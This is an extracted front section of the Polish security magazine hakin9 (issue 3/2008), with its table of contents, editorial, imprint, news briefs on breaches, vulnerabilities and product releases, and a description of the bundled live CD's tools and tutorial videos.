background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 3/2008

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  najciekawsze  wiadomości  ze  świata 

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Norton SystemWorksTM 

Basic Edition

12

Outpost Firewall Pro 4.0

13

Początki

Routing cebulowy

14

Maciej Szmit

Czy można anonimowo surfować po Internecie i kie-

dy ta anonimowość jest zagrożona?

Atak

Hakowanie Visty

18

Konrad Zuwała

Czy  Windows  Vista  rzeczywiście  jest  tak  bezpiecz-

nym  systemem,  jak  zapowiadali  producenci  z  firmy 

Microsoft?

Podsłuch elektromagnetyczny

22

Grzegorz Błoński

W ostatnich miesiącach bardzo modnym tematem jest 

podsłuchiwanie. Nie można zapominać, że podsłuchać 

można nie tylko człowieka, ale także komputer i to, co 

w nim najcenniejsze dla właściciela – jego dane.

Format BMP okiem hakera

30

Michał Składnikiewicz

Autor pokazuje, że format BMP, mimo swojej pozor-

nej  prostoty,  jest  najeżony  pułapkami  oraz  zawiera 

wiele miejsc, w których można ukryć dodatkowe dane 

bez wpływania na wyświetlaną bitmapę.

Atak na wirtualną klawiaturę

38

Sławomir Orłowski, Maciej Pakulski

Podstawowym  celem  tego  artykułu  jest  pokazanie, 

jak  prosto  ominąć  zabezpieczenie,  jakim  jest  wirtu-

alna klawiatura.

Witam!

D

rodzy  Czytelnicy,  niezmiernie  się  cieszę,  że  mogę 

Państwa po raz kolejny przywitać i zachęcić do lek-

tury naszego magazynu. To już trzeci numer w tym 

roku.  Przed  nami  jeszcze  osiem  numerów,  które  zapewne 

będą bardzo interesujące. Osiem, ponieważ w okresie waka-

cyjnym planujemy połączyć dwa pisma.

Ale do wakacji jeszcze kilka miesięcy, na razie cieszmy 

się wiosną, która jest tuż tuż. Miejmy nadzieję, że po śnie 

zimowym nie obudzą się robaki i wirusy, jednak jeżeli tak się 

stanie, mamy dla Państwa wiele porad do walki z nimi. 

W  tym  numerze  ponownie  prezentujemy  najciekawsze 

artykuły na rynku, najskuteczniejsze programy oraz specjal-

nie przygotowane filmy instruktażowe!

Szczególnie zachęcam do tematu numeru, jakim w tym 

miesiącu  jest  artykuł  Hakowanie  Visty.  Przekonalilśmy  się 

już,  że  Vista,  którą  Microsoft  zapowiadał  jako  całkowitą 

rewolucję  w  bezpieczeństwie  systemów  operacyjnych,  nie 

do końca temu opisowi odpowiada. O tym właśnie traktuje 

artykuł Konrada Zuwały.

Kolejną ciekawą propozycją jest tekst Grzegorza Błoń-

skiego  Podsłuch  elektromagnetyczny,  w  którym  Autor  zaj-

muje się zjawiskiem ulotu elektromagnetycznego i możliwo-

ścią  wykorzystania  go  do  kradzieży  danych  z  komputera. 

Gorąco polecam lekturę!

Robert Gontarski

background image

4

www.hakin9.org

hakin9 Nr 3/2008

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Architektura CCA, 

czyli GRID prosto i przyjemnie

46

Rafał Podsiadły

Jak funkcjonują systemy rozproszone i do czego są 

wykorzystywane,  dowiesz  się  czytając  tekst  Rafała 

Podsiadłego.

Informatyka śledcza 

jako element reakcji na incydenty

54

Przemysław Krejza

Co to jest EnCase Enterprise? Na czym polega informa-

tyka śledcza? Do czego służy dowód elektroniczny? 

Entropia – pomiar i zastosowanie

58

Michał Składnikiewicz

Tekst przedstawia zagadnienia związane z entropią, 

rozumianą jako wielkość losowości pewnych danych.

Bezpieczeństwo w Javie

62

Piotr Łaskawiec

Autor opisuje specjalistyczną platformę programisty-

czną – Java Enterprise Edition.

Bezpieczeństwo teleinformatyczne 

danych osobowych

68

Andrzej Guzik

Czy systemy informatyczne przetwarzające dane oso-

bowe spełniają wymagania bezpieczeństwa i uwzględ-

niają przepisy prawne? Odpowiada Andrzej Guzik.

Księgozbiór

 

74

Recenzujemy książki Cisco PIX. Firewalle oraz Win-

dows Server 2003. Bezpieczeństwo sieci.

Wywiad

Wywiad z Eugenem Kasperskim 

76

Katarzyna  Juszczyńska  i  Robert  Gontarski  rozma-

wiają z ekspertem bezpieczeństwa informacji.

Felieton

Założenia komunikacji

78

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu magazynu hakin9.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: 
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka redakcji: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Łukasz Witczak, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Atak na amerykańskie 

centrum badawcze

Laboratorium badawcze Oak 

Ridge National Laboratory 

(ORNL) w Tennessee oraz Los 

Alamos National Laboratory 

w Nowym Meksyku padło ofiarą 

ataku crackera. Według przed-

stawiciela placówki w Oak Ridge 

– włamywacz uzyskał dostęp 

tylko do bazy danych zawierają-

cej informacje personalne osób 

odwiedzających laboratorium od 

1990 do 2004 roku, jednak nie 

wszedł w posiadanie żadnych taj-

nych danych. Atak był poprze-

dzony falą wiadomości e-mail 

zawierających załączniki ze zło-

śliwym oprogramowaniem. Po 

otwarciu takiego listu uruchamia-

ły się konie trojańskie. Złodzie-

je dokonali około 1100 prób połą-

czeń w celu kradzieży danych. 

Do ataku wykorzystano siedem 

różnych listów elektronicznych 

wysłanych do naszych pracowni-

ków. Każdy z nich zawierał złośli-

wy kod – powiedział Thom Mason 

szef laboratorium.

Francja odetnie piratów

Już wkrótce francuscy internau-

ci przyłapani na nielegalnym udo-

stępnianiu filmów i muzyki będą 

musieli liczyć się z możliwością 

odcięcia im dostępu do Internetu. 

Będzie to możliwe dzięki porozu-

mieniu, do którego doszło pomię-

dzy francuskim rządem, prze-

mysłem rozrywkowym a ISP. 

Główne zadanie będzie należa-

ło do ISP, który będzie odpowie-

dzialny za monitorowanie poczy-

nań swoich użytkowników. W przy-

padku wykrycia internauty, który 

w sposób bardzo nadgorliwy pała 

chęcią dzielenia się różnymi zaso-

bami chronionymi prawem autor-

skim, w jego stronę zostanie 

wystosowane specjalne ostrzeże-

nie. Jeśli ostrzeżeni użytkownicy 

kontynuować będą nielegalne dzia-

łania, zostaną czasowo lub perma-

nentnie odłączeni od Internetu.

Norton SystemWorks 2008 już dostępny

F

irma Symantec (światowy lider 
w  dziedzinie  ochrony  informa-

cji) poinformowała o wydaniu nowej 
wersji pakietu Norton SystemWorks 
2008, służącego do ochrony i opty-
malizacji komputera.

Norton  SystemWorks  zawiera 

szereg przydanych narzędzi, m. in.:
Norton AntiVirus, który chroni kom-
puter  przed  wirusami  i  oprogra-
mowaniem  szpiegującym;  Norton 
Ghost – narzędzie pomocne w szyb-
kiej i bezpiecznej aktualizacji, archi-
wizacji  oraz  odtwarzaniu  systemu; 
Norton Utilities, One-Button Chec-
kup,  Process  Viewer,  Optimizer 
i  CheckIt  Diagnostics  –  narzędzia 
służące m. in. do diagnostyki dysku 
twardego, optymalizacji pracy kom-
putera,  rozwiązywania  typowych 
problemów  czy  usuwania  plików 
tymczasowych; Web Tools – grupa 
nowych  narzędzi,  przeznaczo-
nych  m.  in.  do  zarządzania  plika-
mi cookie oraz utrzymywania połą-
czeń modemowych w czasie pracy 
z Internetem.

Główne nowości wersji 2008 to 

kompatybilność  z  systemem  Win-
dows  Vista,  a  także  zaimplemen-
towana  w  programie  Norton  Anti-
Virus  nowa  technologia  SONAR, 
która  pozwala  na  natychmiastowe 
wykrywanie  zagrożeń  w  oparciu 
o  analizę  zachowań  uruchamiane-
go kodu. W nowym Norton System-
Works  2008  znajdziemy  również 
program  Norton  Save  &  Resto-
re  –  oparte  o  rozwiązania  Norton 
Ghost narzędzie służące do łatwe-
go  tworzenia  kopii  zapasowych 

oraz szybkiego odtwarzania syste-
mu po awarii.

Oprogramowanie zostało wydane 

w  trzech  edycjach:  Basic,  Standard 
oraz Premier. Ceny pakietów na rynku 
amerykańskim  zostały  ustalone  na 
poziomie 49,99 USD za edycję Basic
69,99 USD za edycję Standard oraz 
99,99 USD za edycję Premier.

Firma Symantec, założona w ro-

ku  1982,  jest  światowym  liderem 
oferującym oprogramowanie, urzą-
dzenia  i  usługi,  które  pomagają 
odbiorcom  indywidualnym,  małym 
i średnim firmom oraz dużym przed-
siębiorstwom  w  zapewnieniu  bez-
pieczeństwa,  dostępności  i  inte-
gralności  informacji.  Główna  sie-
dziba firmy znajduje się w Cuperti-
no w amerykańskim stanie Kalifor-
nia, a oddziały całym świecie.

Rysunek 1. 

Norton SystemWorks 

2008 już dostępny

Dwie aktualizacje 

bezpieczeństwa od Novella

A

merykańska firma Novell, specja-
lizująca  się  w  sieciowych  syste-

mach operacyjnych, takich jak NetWa-
re i Linux, wydała aktualizacje bezpie-
czeństwa dla dwóch swoich produktów. 
Jedna  z  nich  zamyka  lukę  w  kliencie 
Novell NetMail, która pozwala przejąć 
kontrolę nad systemem. Druga aktuali-
zacja eliminuje trzy zagrożenia w pro-
gramie Novell BorderManager 3.8.

Rysunek 2. 

Instalacja Novell 

BorderManager 3.8

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Niezwykła 

zguba brytyjskiego 

Urzędu Skarbowego

Angielski minister finansów Ali-

stair Darling oświadczył, że 

z urzędu podatkowego admini-

strującego zasiłkiem wychowaw-

czym na dzieci zginęły dwa kom-

puterowe dyski z danymi oso-

bowymi 25 milionów ludzi – 7 

milionów rodzin uprawnionych 

do jego otrzymywania. Zasił-

ki, w wysokości 18 funtów tygo-

dniowo na pierwsze dziec-

ko i 12 na każde następne, są 

w Wielkiej Brytanii przyznawa-

ne wszystkim rodzicom i prawie 

wszyscy je pobierają. Na zagi-

nionych dyskach znajdowa-

ły się między innymi informa-

cje o adresach osób, daty uro-

dzin dzieci, numery ubezpie-

czeń oraz numery kont banko-

wych, na które trafiają zasiłki. To 

rzeczywiście bardzo, bardzo zła 

sytuacja. Jestem w stanie zrozu-

mieć obawy ludzi i złość, że to 

się zdarzyło. To nigdy nie powin-

no się było stać i szczerze za to 

przepraszam – powiedział Ali-

stair Darling dla telewizji GMTV. 

Darling wyjaśnił, że dyski zostały 

przesłane z urzędu podatkowe-

go (HMRC) do krajowego audy-

tora (NAO) za pośrednictwem 

firmy kurierskiej TNT, jednak 

koperta nie została oznaczona 

jako polecona bądź wartościowa 

i – jak się okazało – nie dotarła 

do odbiorcy. Minister zastrzegł, 

iż nie ma powodów do paniki, 

ponieważ dyski są zabezpieczo-

ne podwójnym systemem haseł, 

a policja nie sygnalizowała mu, 

że mogły wpaść w niepowoła-

ne ręce. W odnalezienie dysków 

i ochronę danych zaangażo-

wano Scotland Yard i specjali-

stów od ochrony danych osobo-

wych. Poza głównym dochodze-

niem policyjnym prowadzonych 

jest jeszcze pięć pobocznych. 

Rząd obciąża odpowiedzialno-

ścią niskiego rangą pracownika 

HMRC. Do dymisji podał się szef 

urzędu podatkowego Paul Gray.

Mozilla Firefox 3.0 beta1

U

kazała  się  pierwsza  oficjal-
na  wersja  beta  przeglądarki 

internetowej  Mozilla  Firefox  3.0. 
Nowy Ognisty Lis korzysta z silni-
ka Gecko 1.9, zawiera usprawnie-
nia z zakresu bezpieczeństwa oraz 
wydajności i stabilności. Poprzed-
nie testowe wydanie wersji 3 – tzw. 
alfa  –  dostępne  było  jedynie  dla 
wybranych testerów. Przejście z fa-
zy alfa do beta oznacza zwykle, że 
osiągnęliśmy już ten poziom jako-
ści  i  niezawodności  przeglądarki, 
iż  może  być  ona  wykorzystywana 
przez  zainteresowanych  użytkow-
ników do codziennej pracy. Jest to 
dla  nas  także  kolejny  ważny  krok 
w  kierunku  premiery  finalnego 
wydania 3
 – tłumaczy Mike Schro-
epfer z Mozilli. 

W  Firefox  3.0  beta  znajdziemy 

m.  in.  nowy  moduł  do  zarządza-
nia adresami często odwiedzanych 
stron,  nowy  menedżer  pobierania 
(udostępniono  możliwość  wzno-
wienia  pobierania  plików)  oraz
kilka  nowych  funkcji  podnoszą-
cych  bezpieczeństwo,  np.:  pod-
gląd informacji o stronie po kliknię-
ciu na favicon, integracja z progra-
mami  antywirusowymi,  integracja 
z  narzędziami  kontroli  rodziciel-
skiej  w  Windows  Vista  oraz  auto-
matyczne  sprawdzanie  wersji  do-
datków  i  rozszerzeń.  Przedstawi-

ciele  Mozilli  podkreślają  jednak, 
że zdecydowana większość mody-
fikacji  nie  będzie  bezpośred-
nio  widoczna  dla  użytkowników 
–  zmiany  będą  jednak  dla  nich 
odczuwalne.  Najwięcej  zmieni  się 
'pod  maską'.  Wdrożyliśmy  nowe 
procedury sprawdzania kodu, które 
mają zagwarantować, że będzie on 
odpowiednio  bezpieczny.  Bardzo 
wierzę w to rozwiązanie – uważam, 
że żadne narzędzia zabezpieczają-
ce  nie  zapewnią  bezpieczeństwa, 
jeśli  kod  nie  będzie  odpowiednio 
bezpieczny
.

Przypomnijmy,  iż  wedle  wcze-

śniejszych deklaracji twórców Fire-
foksa, wersja beta 1 miała pojawić 
się  pod  koniec  lipca.  We  wrze-
śniu  miała  być  udostępniona  beta 
2,  zaś  w  grudniu  –  finalny  Firefox 
3.  Jeśli  wszystko  pójdzie  dobrze, 
to  jeszcze  w  tym  roku  pojawi  się 
druga beta. Finalna wersja pojawi 
się w 2008 roku. 

Firefox  3  beta  1  dostępny  jest 

m. in. w wersjach dla Linuksa, Mac 
OS X oraz Windows. Program jest 
spolonizowany  –  można  go  zna-
leźć na stronie Mozilli. Przedstawi-
ciele Mozilli podkreślają, że wersja 
ta  jest  przeznaczona  jedynie  do 
celów  testowych  i  nie  jest  reko-
mendowana  dla  zwykłych  użyt-
kowników.

Windows XP lepszy od Visty?

N

ajnowsze  testy  wykazały,  że 
Windows  XP  korzystający 

z  wersji  beta  Service  Pack  3  ma 
dwa  razy  lepsze  osiągnięcia  niż 
Windows Vista działający z – długo 
oczekiwaną  –  wersją  beta  Service 
Pack 1.

Wydanie  pierwszego  Servi-

ce  Pack'a  dla  Visty  jest  planowa-
ne  na  początek  przyszłego  roku 
i ma on zwiększyć wydajność tegoż 
systemu.  Aczkolwiek,  gdy  wersja 
wersja  beta  SP1  dla  Visty  została 
poddana  testom  benchmarkowym 
przez firmę Devil Mountain Softwa-
re,  poprawa  nie  była  oszałamiają-
ca.  Dla  porównania  Windows  XP 

zakończył test w 35 sekund, a Vista 
uporała się z nim po 80-ciu sekun-
dach.  Warto  także  odnotować,  że 
wydajność XP z SP3-beta wzrosła 
o 10%, natomiast Vista z SP1-beta 
poprawiła  się  jedynie  o  2%.  Test 
przeprowadzony  został  na  maszy-
nie  Dell  XPS  M1710  z  procesorem 
Core  2  Duo  2GHz  i  1GB  pamię-
ci RAM.

Microsoft  krótko  skomentował 

uzyskane  wyniki,  twierdząc,  że  są 
to  wersje  beta,  nad  którymi  wciąż 
trwają prace, a firma zawsze stara 
się dostarczyć Service Pack'i speł-
niające oczekiwania klientów i koń-
cowy produkt będzie dużo lepszy. 

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Gracz domaga się 

5 milionów odszkodowania 

od Microsoft 

Jeden z mieszkańców Kalifor-

ni, który lubi pograć w grę Halo, 

pozwał do sądu Microsoft oraz 

firmę Bungie – producenta tytułu. 

Wszystko dlatego, że program 

nie działał prawidłowo. Klienci, 

którzy posiadają wadliwy nośnik, 

mogą go zwrócić lub wymienić 

na nowy. Jednak Randy Nunez 

postanowił poszukać innego roz-

wiązania i złożył w sądzie pozew 

zbiorowy przeciwko Microsoft 

i Bungie, żądając 5.000.000 

dolarów odszkodowania. W 

pozwie Nunez informuje, że pod-

czas grania w Halo 3 Xbox 360 

zawiesza się i przestaje działać. 

Microsoft w ubiegłym miesiącu 

informował, że taki błąd się poja-

wia, jednak przedstawiciele firmy 

nie chcieli podać do wiadomości, 

co powoduje jego występowanie. 

Luka w module Net::HTTPS 

Firma iSEC, zajmująca się bez-

pieczeństwem systemów i apli-

kacji, ujawniła błąd występują-

cy w module Net::HTTPS, który 

jest częścią języka skryptowe-

go RUBY. Aplikacja, która wyko-

rzystuje ten moduł może być 

podatna na atak typu man-in-

the-middle. Moduł sprawdza 

– między innymi – czy certyfi-

kat serwera jest poprawny, ale 

nie porównuje wartości pola CN 

(ang. common name) z faktycz-

ną nazwą generowanej strony. 

Haker może więc użyć dowol-

nego, prawidłowego certyfika-

tu wystawionego przez publicz-

ny CA do infiltracji połączenia 

za pomocą metody MITM. Naj-

wyraźniej problem jest spo-

wodowany błędem w funkcji 

post_connection_check

, która 

jest wywoływana po wynegocjo-

waniu połączenia SSL i znajdu-

je się w pliku http.rb. Bug wystę-

puje w wersjach 1.8.x modu-

łów oraz w wersjach develo-

perskich oznaczonych jako 1.9. 

Podniesienie modułów do wersji 

1.8.6-p111 lub 1.8.5-p114 elimi-

nuje buga. Oficjalne informacje 

na stronach ruby-lang.org suge-

rują, aby ustawić wartość opcji 

http.enable_post_connection_
check

 na true.

Rysunek 4. 

Nowy model FVS336G

NETGEAR ProSafe 

VPN Firewall – FVS336G

A

merykańska  firma  Netge-
ar,  zaliczana  do  czołówki 

największych  na  świecie  produ-
centów  urządzeń  sieciowych  za-
prezentowała  wszechstronną  za-
porę  zapewniającą  bezpieczeń-
stwo sieci oraz zdalny i niezawod-
ny  dostęp  do  Internetu  –  NETGE-
AR ProSafe VPN Firewall.

Nowy  model  FVS336G  wypo-

sażono  w  zintegrowany,  czter-
portowy  przełącznik  10/100/1000 
Mb/s  umożliwiający  szybką  pracę 
sieci  i  zarządzanie  przez  SNMP, 
dwa  porty  Gigabit  WAN  obsługu-
jące podwójne połączenia szeroko-
pasmowe  z  funkcją  równoważenia 
obciążenia  i  przejmowania  ruchu 
w  przypadku  awarii,  zaawansowa-
ny  Firewall  SPI  i  Multi-NAT,  ekran 
konfiguracyjny  ProSafe  Control 
Center  i  asystenta  ułatwiającego 
konfigurację. 

Zapora jest kompatybilna z sys-

temami  operacyjnymi  Windows, 
UNIX,  Macintosh  i  Linux  i  można 
nią  zarządzać  poprzez  protokół 
SNMP.

Nowa zapora Prosafe Dual WAN 

Gigabit SSL VPN Firewall to ideal-
ny  produkt  dla  małych  i  średnich 
przedsiębiorstw 

poszukujących 

rozwiązania sieciowego zapewnia-
jącego wysoką wydajność, solidne 
zabezpieczenia i łatwy, bezpieczny 
dostęp dla użytkowników zdalnych 
oraz  połączeń  sieciowych  pomię-
dzy  lokalizacjami,
  wyjaśnia  Woj-
ciech  Karwowski,  country  mana-
ger  NETGEAR  Poland.  Wszech-

stronna zapora daje zdalnym użyt-
kownikom  dostęp  do  danych  kor-
poracyjnych  bez  użycia  oprogra-
mowania  klienckiego,  za  pomocą 
standardowej  przeglądarki  inter-
netowej, a tunele VPN IPsec mogą 
jednocześnie  otwierać  bezpieczne 
połączenia  pomiędzy  lokalizacja-
mi, z obsługą starszych rozwiązań 
klient-serwer.  Zintegrowany  czte-
roportowy  przełącznik  klasy  Giga-
bit  i  dwa  gigabitowe  porty  WAN 
gwarantują  optymalna  wydajność 
i niezawodność sieci. ProSafe Dual 
WAN Gigabit SSL VPN Firewall to 
jedna  z  najbardziej  wszechstron-
nych,  niezawodnych  i  bezpiecz-
nych  zapór  dla  małych  i  średnich 
przedsiębiorstw
.

Zapora  NETGEAR  ProSafe 

Dual  WAN  Gigabit  SSL  VPN  Fire-
wall  (FVS336G)  oferowana  będzie 
w  pierwszym  kwartale  2008  roku 
z bezterminową gwarancją w skle-
pach  detalicznych,  internetowych 
i  u  sprzedawców  VAR,  w  cenie 
katalogowej 425 USD (+ VAT).

Rysunek 3. 

Płyta instalacyjna 

FVS336G

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Dziura w Gadu-Gadu

Mateusz Jurczyk (współpracują-

cy z Eleytt Research w zakresie 

Responsible Disclosure Assuran-

ce oraz jako zewnętrzny badacz) 

znalazł lukę w module parsowa-

nia pliku emots.txt w najnowszej 

wersji popularnego komunikatora 

Gadu-Gadu. Program nie spraw-

dza długości bufora przy pobie-

raniu z konfiguracji nazwy pliku 

zawierającego ikony. W związ-

ku z tym wydaje się, że atak jest 

ograniczony do sytuacji, w której 

komuś uda się nadpisać plik kon-

figuracyjny Gadu-Gadu na koncie 

danego użytkownika.

Niebezpieczny VoIP 

Peter Cox, specjalista od VoIP 

pracujący w kanadyjskiej firmie 

BorderWare, zaprezentował cie-

kawe oprogramowanie, pozwala-

jące na podsłuchiwanie rozmów 

prowadzonych pomiędzy użyt-

kownikami VoIP. Oprogramowa-

nie o nazwie SIPtap może prze-

chwytywać informacje SIP oraz 

monitorować strumienie pakie-

tów VoIP i zapisywać je jako pliki 

*.wav w celu późniejszej anali-

zy w oddalonej lokalizacji. Wcze-

śniej trzeba się włamać do kom-

putera pracującego w wytypowa-

nej sieci i zainstalować na nim 

konia trojańskiego z programem 

SIPtap, który można również 

instalować w sieci eksploatowa-

nej przez dostawcę usług inter-

netowych. 

Top 10 najbardziej oryginalnych 

przypadków utraty danych w 2007

O

ntrack,  jedna  z  bardziej  zna-
nych    firm  zajmujących  się 

odzyskiwaniem  danych  opubliko-
wała  swój  ogólnoświatowy  i  krajo-
wy  ranking  najbardziej  nietypowych 
przypadków utraty danych:

•   Halo?  Wyprałam  dane  –  W  tym 

roku do Kroll Ontrack zadzwoni-
ła  kobieta  twierdząc,  że  wypra-
ła  wszystkie  swoje  dane.  Jej 
pamięć  USB  trafiła  do  pralki, 
a usunięcie danych zajęło pralce 
cały cykl z płukaniem. 

•   Córeczka  tatusia  –  Pewien  tata 

po  pracy  spieszył  się  do  domu, 
gdzie  czekała  na  niego  córecz-
ka.  Wychodząc  z  pracy  wrzucił 
pamięć  przenośną  do  przedniej 
kieszeni koszuli. Jakiś czas póź-
niej,  karmiąc  córkę  nachylił  się, 
a  pamięć  z  kieszeni  wylądowa-
ła  w  ciepłym,  apetycznym,  ale 
dość  rzadkim  i  klejącym  jabłko-
wym puree.

•   Uwaga branie! – Wędkarz wyjeż-

dżając na ryby postanowił wziąć 
ze  sobą  laptop.  Przerwy  pomię-
dzy braniami chciał wykorzystać 
na grę na komputerze. Kiedy tak 
spędzał  czas  siedząc  w  łódce 
na  środku  jeziora,  ryba  złapała 
haczyk. Wędkarz wstał, zachwiał 
się  i  po  chwili  on  i  laptop  byli 
w jeziorze.

•   Chłodząca coca-cola – Podczas 

tegorocznego  lata  jeden  z  pol-
skich użytkowników komputerów 
pracował na swoim laptopie popi-
jając orzeźwiający napój. Chwila 
nieuwagi  i  zawartość  dużej 
szklanki zalała klawiaturę i wnę-
trze komputera.

•   Badań naukowych czar – Nauko-

wiec  wylał  kwas  na  zewnętrzny 
dysk twardy. Kwas wypalił znacz-
ną część nośnika. Przekonany, że 
zawartość dysku została spalona 
pracownik  naukowy  skontakto-
wał  się  z  ekspertami  odzyskiwa-
nia danych. Dane odzyskano. 

•   Szwedzkie wodowanie – W trak-

cie  przeładunku  statku  płynące-
go  ze  Szwecji  jeden  z  kontene-

rów wpadł do morza i został czę-
ściowo  zalany.  Znajdowała  się 
w nim m.in. macierz  zawierająca 
ponad 100 dysków twardych. 

•   Spalony  na  węgiel  –  Po  poża-

rze  jednego  z  mieszkań  stra-
żacy  odnaleźli  zwęglony  aparat 
fotograficzny.  Właściciele  zlecili 
odzyskanie  zdjęć  ze  spalonego 
urządzenia. To jedyne, co udało 
się uratować po pożarze.

•   Prośba o ciszę – Brytyjski nauko-

wiec miał dość pisku, jaki wyda-
wał  jego  dysk  twardy.  Postano-
wił  naoliwić  urządzenie.  Żeby 
rozwiązać  problem  wywiercił 
w nośniku dziurę i wlał do środka 
olej. Dysk przestał piszczeć i pra-
cować.

•   Zawiódł spadochron – Producent 

spadochronów postanowił nagrać 
na  wideo  testy  nowego  modelu. 
W  tym  celu  do  obciążenia  spa-
dochronu wyrzuconego z samo-
lotu dołączono kamerę. Niestety, 
ładunek wraz z kamerą rozbił się 
o ziemię i rozpadł na wiele kawał-
ków.  Ekspertom  udało  się  odzy-
skać nagranie.

•   Inwazja  mrówek  –  Kiedy  foto-

graf z Tajlandii odkrył, że w jego 
zewnętrznym  dysku  twardym 
zadomowiły  się  mrówki,  zdjął 
jego  obudowę  i  spryskał  środek 
urządzenia preparatem na insek-
ty. Mrówki nie przetrwały i dopóki 
inżynierowie  Kroll  Ontrack  nie 
zajęli  się  problemem,  wyglądało 
na to, że dane też nie. 

Jesteśmy  coraz  bardziej  zaskoczeni 
okolicznościami  utraty  danych,  jakie 
towarzyszą  przypadkom  trafiającym 
do  naszych  laboratoriów.  Cały  czas 
pracujemy  nad  narzędziami,  które 
z  powodzeniem  mogą  radzić  sobie 
z coraz większymi wyzwaniami, jakie 
bezsprzecznie  stanowią  te  przypad-
ki. Często odzyskujemy dane w spra-
wach, w których ich właściciele straci-
li wiarę w powodzenie. Dlatego czer-
piemy z naszej pracy wielką satysfak-
cję
 – mówi Paweł Odor, główny spe-
cjalista Kroll Ontrack w Polsce.

background image

hakin9.live

hakin9 Nr 3/2008

www.hakin9.org

10

N

a  dołączonej  do  pisma  płycie  znajduje  się  ha-
kin9.live
  (h9l)  w  wersji  4.0.3  on  BackTrack2.0, 
zawierająca  przydatne  narzędzia,  dokumenta-

cję, tutoriale i materiały dodatkowe do artykłów. Aby za-
cząć pracę z hakin9.live, wystarczy uruchomić kompu-
ter z CD. Po uruchomieniu systemu możemy zalogować 
sie jako użytkownik hakin9 bez podawania hasła. Pro-
gramy:

•   Titan Backup,
•   VirusBlokAda,
•   SecureDNA.

Filmy instruktażowe: 

•   Atak SQL Injection – wykrywanie struktury bazy da-

nych, 

•  Blind SQL Injection - odgadywanie haseł po znaku.

Titan Backup

Titan Backup jest świetnym rozwiązaniem do tworze-
nia kopii zapasowych. Jest bezpieczne, zautomatyzo-
wane i łatwe w użyciu przy tworzeniu kopii Twoich waż-
nych plików oraz dokumentów, poczty, reguł, rejestru, 
ustawień.

Pozwala  tworzyć  i  przewracać  kopie  zapasowych 

ważnych  danych  zapisanych  na  dysku  lokalnym,  czy 
nośnikach  wymiennych  jak  płyty  CD/DVD,  pendrive, 
dyski zewnętrzne, dyski sieciowe, zdalne serwery FTP. 
Używa 256-bitowego silnego szyfrowania AES, co za-
pewni pełna ochronę poufnych danych.

VirusBlokAda

Linia produktów VirusBlokAdy bazuje na antywirusowym 
silniku rozwijanym przez świetnych specjalistów. Vba32 

Zawartość CD

Personal  polecane  jest  domowym  użytkownikom.  Jest 
bardzo dobrym i szybkim narzędziem do wykrycia i zneu-
tralizowania wirusów komputerowych, robaków e-mailo-
wych,  koni  trojańskich,  malware,  backdoorów,  adware, 
spyware itp.

Co  więcej,  VirusBlokAda  oferuje  oprogramowa-

nie  antywirusowe  dla  workstacji,  serwerów  plików, 
serwerów mailowych opartych na MS Exchange, Lo-
tus Domino dla Windows/Linux i różnorodność filtrów 
antywirusowych dla serwerów mailowych korzystają-
cych z Linux/FreeBDS. Techniki użyte w oprogramo-
waniu:

•   analiza heurystyczna,
•   MalwareScope,
•   automatyczny update modułów i bazy wirusów,
•   zintegrowana kontrola.

SecureDNA

